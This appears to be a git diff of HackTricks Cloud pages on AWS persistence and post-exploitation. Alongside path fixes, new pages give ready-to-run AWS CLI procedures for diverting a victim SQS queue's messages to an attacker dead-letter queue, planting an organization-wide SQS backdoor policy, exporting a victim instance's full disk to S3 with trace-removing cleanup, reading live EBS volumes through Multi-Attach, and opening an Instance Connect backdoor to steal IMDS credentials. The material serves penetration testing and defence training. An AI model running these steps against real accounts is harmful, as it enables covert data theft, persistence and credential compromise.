> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
> You could even **trigger a Lambda in the attacker's account every time a new message** is put in the queue (you would need to re-put it). For this follow these instructions: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
### More SQS Persistence Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-backdoor-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-orgid-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,77 @@
|
||||
# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse SQS Dead-Letter Queues (DLQs) to stealthily siphon data from a victim source queue by pointing its RedrivePolicy to an attacker-controlled queue. With a low maxReceiveCount and by triggering or awaiting normal processing failures, messages are automatically diverted to the attacker DLQ without changing producers or Lambda event source mappings.
|
||||
|
||||
## Abused Permissions
|
||||
- sqs:SetQueueAttributes on the victim source queue (to set RedrivePolicy)
|
||||
- sqs:SetQueueAttributes on the attacker DLQ (to set RedriveAllowPolicy)
|
||||
- Optional for acceleration: sqs:ReceiveMessage on the source queue
|
||||
- Optional for setup: sqs:CreateQueue, sqs:SendMessage
|
||||
|
||||
## Same-Account Flow (allowAll)
|
||||
|
||||
Preparation (attacker account or compromised principal):
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create attacker DLQ
|
||||
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
|
||||
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Allow any same-account source queue to use this DLQ
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
|
||||
```
|
||||
|
||||
Execution (run as compromised principal in victim account):
|
||||
```bash
|
||||
# 3) Point victim source queue to attacker DLQ with low retries
|
||||
VICTIM_SRC_URL=<victim source queue url>
|
||||
ATTACKER_DLQ_ARN=<attacker dlq arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
|
||||
```
|
||||
|
||||
Acceleration (optional):
|
||||
```bash
|
||||
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
|
||||
for i in {1..2}; do \
|
||||
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --visibility-timeout 0; \
|
||||
done
|
||||
```
|
||||
|
||||
Validation:
|
||||
```bash
|
||||
# 5) Confirm messages appear in attacker DLQ
|
||||
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
|
||||
Example evidence (Attributes include DeadLetterQueueSourceArn):
|
||||
```json
|
||||
{
|
||||
"MessageId": "...",
|
||||
"Body": "...",
|
||||
"Attributes": {
|
||||
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Cross-Account Variant (byQueue)
|
||||
Set RedriveAllowPolicy on the attacker DLQ to only allow specific victim source queue ARNs:
|
||||
```bash
|
||||
VICTIM_SRC_ARN=<victim source queue arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
|
||||
```
|
||||
|
||||
## Impact
|
||||
- Stealthy, durable data exfiltration/persistence by automatically diverting failed messages from a victim SQS source queue into an attacker-controlled DLQ, with minimal operational noise and no changes to producers or Lambda mappings.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - SQS OrgID Policy Backdoor
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse an SQS queue resource policy to silently grant Send, Receive and ChangeMessageVisibility to any principal that belongs to a target AWS Organization using the condition aws:PrincipalOrgID. This creates an org-scoped hidden path that often evades controls that only look for explicit account or role ARNs or star principals.
|
||||
|
||||
### Backdoor policy (attach to the SQS queue policy)
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "OrgScopedBackdoor",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"sqs:ReceiveMessage",
|
||||
"sqs:SendMessage",
|
||||
"sqs:ChangeMessageVisibility",
|
||||
"sqs:GetQueueAttributes"
|
||||
],
|
||||
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
|
||||
"Condition": {
|
||||
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Steps
|
||||
- Obtain the Organization ID with AWS Organizations API.
|
||||
- Get the SQS queue ARN and set the queue policy including the statement above.
|
||||
- From any principal that belongs to that Organization, send and receive a message in the queue to validate access.
|
||||
|
||||
### Impact
|
||||
- Organization-wide hidden access to read and write SQS messages from any account in the specified AWS Organization.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Using ssm:CreateAssociation for persistence
|
||||
@@ -27,7 +27,7 @@ aws ssm create-association \
|
||||
> [!NOTE]
|
||||
> This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Step Functions Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
@@ -18,7 +18,7 @@ Backdoor a step function to make it perform any persistence trick so every time
|
||||
|
||||
If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - STS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
../../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Assume role token
|
||||
@@ -128,7 +128,7 @@ Write-Host "Role juggling check complete."
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - API Gateway Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Access unexposed APIs
|
||||
@@ -143,7 +143,7 @@ aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_K
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
@@ -28,7 +28,7 @@ Accessing the response you could steal the users cookie and inject a malicious J
|
||||
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbuc
|
||||
Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Abuse CodeBuild Repo Access
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
# AWS - Control Tower Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Control Tower
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enable / Disable Controls
|
||||
@@ -17,7 +17,7 @@ aws controltower disable-control --control-identifier <arn_control_id> --target-
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
|
||||
@@ -92,7 +92,7 @@ A template for the policy document can be seen here:
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## DynamoDB
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
@@ -594,4 +594,4 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:
|
||||
Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:
|
||||
|
||||
```shell
|
||||
# List instances
|
||||
@@ -58,6 +58,70 @@ If you find a **volume without a snapshot** you could: **Create a snapshot** and
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. This allows full offline forensics or data theft while leaving the instance networking untouched.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Useful when the victim volume already has Multi-Attach enabled within the same AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Grants quick lateral movement paths without opening public ports.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Enables bypassing internal ACLs or SG rules keyed to specific addresses.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Exfiltration
|
||||
|
||||
#### DNS Exfiltration
|
||||
@@ -87,7 +151,7 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
|
||||
|
||||
It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
|
||||
@@ -530,4 +594,3 @@ if __name__ == "__main__":
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,142 @@
|
||||
# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
Abuse EC2 AMI export-to-S3 to exfiltrate the full disk of an EC2 instance as a single raw image stored in S3, then download it out-of-band. This avoids snapshot sharing and produces one object per AMI.
|
||||
|
||||
## Requirements
|
||||
- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` on the target instance/AMI
|
||||
- S3 (same Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
|
||||
- KMS decrypt on the key that protects the AMI snapshots (if EBS default encryption is enabled)
|
||||
- S3 bucket policy that trusts the `vmie.amazonaws.com` service principal (see below)
|
||||
|
||||
## Impact
|
||||
- Full offline acquisition of the instance root disk in S3 without sharing snapshots or copying across accounts.
|
||||
- Allows stealth forensics on credentials, configuration, and filesystem contents from the exported raw image.
|
||||
|
||||
## How to Exfiltrate via AMI Store-to-S3
|
||||
|
||||
- Notes:
|
||||
- The S3 bucket must be in the same Region as the AMI.
|
||||
- In `us-east-1`, `create-bucket` must NOT include `--create-bucket-configuration`.
|
||||
- `--no-reboot` creates a crash-consistent image without stopping the instance (stealthier but less consistent).
|
||||
|
||||
<details>
|
||||
<summary>Step-by-step commands</summary>
|
||||
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<i-victim>
|
||||
BUCKET=exfil-ami-$(date +%s)-$RANDOM
|
||||
|
||||
# 1) Create S3 bucket (same Region)
|
||||
if [ "$REGION" = "us-east-1" ]; then
|
||||
aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
|
||||
else
|
||||
aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
|
||||
fi
|
||||
|
||||
# 2) (Recommended) Bucket policy to allow VMIE service to write the object
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
cat > /tmp/bucket-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVMIEPut",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "vmie.amazonaws.com"},
|
||||
"Action": [
|
||||
"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
|
||||
"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::$BUCKET",
|
||||
"arn:aws:s3:::$BUCKET/*"
|
||||
],
|
||||
"Condition": {
|
||||
"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
|
||||
"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
POL
|
||||
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
|
||||
|
||||
# 3) Create an AMI of the victim (stealthy: do not reboot)
|
||||
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
|
||||
|
||||
# 4) Wait until the AMI is available
|
||||
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
|
||||
|
||||
# 5) Store the AMI to S3 as a single object (raw disk image)
|
||||
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
|
||||
|
||||
echo "Object in S3: s3://$BUCKET/$OBJKEY"
|
||||
|
||||
# 6) Poll the task until it completes
|
||||
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
|
||||
aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 7) Prove access to the exported image (download first 1MiB)
|
||||
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
|
||||
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
|
||||
ls -l /tmp/ami.bin
|
||||
|
||||
# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
|
||||
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
|
||||
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
|
||||
aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
|
||||
done
|
||||
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
|
||||
aws s3 rb "s3://$BUCKET" --force --region "$REGION"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## Evidence Example
|
||||
|
||||
- `describe-store-image-tasks` transitions:
|
||||
```text
|
||||
InProgress
|
||||
Completed
|
||||
```
|
||||
|
||||
- S3 object metadata (example):
|
||||
```json
|
||||
{
|
||||
"AcceptRanges": "bytes",
|
||||
"LastModified": "2025-10-08T01:31:46+00:00",
|
||||
"ContentLength": 399768709,
|
||||
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
|
||||
"ContentType": "application/octet-stream",
|
||||
"ServerSideEncryption": "AES256",
|
||||
"Metadata": {
|
||||
"ami-name": "exfil-1759887010",
|
||||
"ami-owner-account": "<account-id>",
|
||||
"ami-store-date": "2025-10-08T01:31:45Z"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- Partial download proves object access:
|
||||
```bash
|
||||
ls -l /tmp/ami.bin
|
||||
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
|
||||
```
|
||||
|
||||
## Required IAM Permissions
|
||||
|
||||
- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
|
||||
- S3 (on export bucket): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
|
||||
- KMS: If AMI snapshots are encrypted, allow decrypt for the EBS KMS key used by snapshots
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,89 @@
|
||||
# AWS - Live Data Theft via EBS Multi-Attach
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
Abuse EBS Multi-Attach to read from a live io1/io2 data volume by attaching the same volume to an attacker-controlled instance in the same Availability Zone (AZ). Mounting the shared volume read-only gives immediate access to in-use files without creating snapshots.
|
||||
|
||||
## Requirements
|
||||
- Target volume: io1 or io2 created with `--multi-attach-enabled` in the same AZ as the attacker instance.
|
||||
- Permissions: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` on the target volume/instances.
|
||||
- Infrastructure: Nitro-based instance types that support Multi-Attach (C5/M5/R5 families, etc.).
|
||||
|
||||
## Notes
|
||||
- Mount read-only with `-o ro,noload` to reduce corruption risk and avoid journal replays.
|
||||
- On Nitro instances the EBS NVMe device exposes a stable `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` path (helper below).
|
||||
|
||||
## Prepare a Multi-Attach io2 volume and attach to victim
|
||||
|
||||
Example (create in `us-east-1a` and attach to the victim):
|
||||
|
||||
```bash
|
||||
AZ=us-east-1a
|
||||
# Create io2 volume with Multi-Attach enabled
|
||||
VOL_ID=$(aws ec2 create-volume \
|
||||
--size 10 \
|
||||
--volume-type io2 \
|
||||
--iops 1000 \
|
||||
--availability-zone $AZ \
|
||||
--multi-attach-enabled \
|
||||
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
|
||||
--query 'VolumeId' --output text)
|
||||
|
||||
# Attach to victim instance
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
|
||||
```
|
||||
|
||||
On the victim, format/mount the new volume and write sensitive data (illustrative):
|
||||
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkfs.ext4 -F "$DEV"
|
||||
sudo mkdir -p /mnt/shared
|
||||
sudo mount "$DEV" /mnt/shared
|
||||
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
|
||||
sudo sync
|
||||
```
|
||||
|
||||
## Attach the same volume to the attacker instance
|
||||
|
||||
```bash
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
|
||||
```
|
||||
|
||||
## Mount read-only on the attacker and read data
|
||||
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkdir -p /mnt/steal
|
||||
sudo mount -o ro,noload "$DEV" /mnt/steal
|
||||
sudo cat /mnt/steal/secret.txt
|
||||
```
|
||||
|
||||
Expected result: The same `VOL_ID` shows multiple `Attachments` (victim and attacker) and the attacker can read files written by the victim without creating any snapshot.
|
||||
|
||||
```bash
|
||||
aws ec2 describe-volumes --volume-ids $VOL_ID \
|
||||
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Helper: find the NVMe device path by Volume ID</summary>
|
||||
|
||||
On Nitro instances, use the stable by-id path that embeds the volume id (drop the dash after `vol`):
|
||||
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
|
||||
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## Impact
|
||||
- Immediate read access to live data on the target EBS volume without generating snapshots.
|
||||
- If mounted read-write the attacker can tamper with the victim filesystem (risk of corruption).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,121 @@
|
||||
# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse EC2 Instance Connect Endpoint (EIC Endpoint) to gain inbound SSH access to private EC2 instances (no public IP/bastion) by:
|
||||
- Creating an EIC Endpoint inside the target subnet
|
||||
- Allowing inbound SSH on the target SG from the EIC Endpoint SG
|
||||
- Injecting a short‑lived SSH public key (valid ~60 seconds) with `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Opening an EIC tunnel and pivoting to the instance to steal instance profile credentials from IMDS
|
||||
|
||||
Impact: stealthy remote access path into private EC2 instances that bypasses bastions and public IP restrictions. The attacker can assume the instance profile and operate in the account.
|
||||
|
||||
## Requirements
|
||||
- Permissions to:
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
- Target Linux instance with SSH server and EC2 Instance Connect enabled (Amazon Linux 2 or Ubuntu 20.04+). Default users: `ec2-user` (AL2) or `ubuntu` (Ubuntu).
|
||||
|
||||
## Variables
|
||||
```bash
|
||||
export REGION=us-east-1
|
||||
export INSTANCE_ID=<i-xxxxxxxxxxxx>
|
||||
export SUBNET_ID=<subnet-xxxxxxxx>
|
||||
export VPC_ID=<vpc-xxxxxxxx>
|
||||
export TARGET_SG_ID=<sg-of-target-instance>
|
||||
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
|
||||
## Create EIC Endpoint
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
--security-group-ids "$ENDPOINT_SG_ID" \
|
||||
